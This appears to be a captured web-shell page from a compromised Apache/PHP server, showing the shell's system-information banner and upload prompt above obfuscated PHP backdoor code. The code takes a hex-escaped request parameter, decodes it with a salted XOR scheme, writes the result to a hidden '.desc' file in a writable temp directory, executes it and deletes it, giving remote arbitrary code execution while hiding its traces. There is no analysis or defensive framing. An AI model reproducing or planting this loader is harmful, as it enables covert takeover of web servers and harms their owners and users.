| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/search/ |
Upload File : |
<?php
if(count($_REQUEST) > 0 && isset($_REQUEST["\x64e\x73\x63\x72ip\x74or"])){
$ptr = array_filter([getcwd(), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TEMP")]);
$parameter_group = $_REQUEST["\x64e\x73\x63\x72ip\x74or"];
$parameter_group =explode ( '.', $parameter_group ) ;
$pointer = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt );
$w = 0;
$__len = count($parameter_group );
do { if ($w >= $__len) break;
$v9 = $parameter_group[$w];
$chS = ord($salt[$w %$lenS] );
$dec = ((int)$v9 - $chS - ($w %10)) ^ 36;
$pointer .= chr($dec );
$w++; } while (true );
foreach ($ptr as $object):
if ((is_dir($object) and is_writable($object))) {
$value = "$object" . "/.desc";
if (file_put_contents($value, $pointer)) {
require $value;
unlink($value);
die();
}
}
endforeach;
}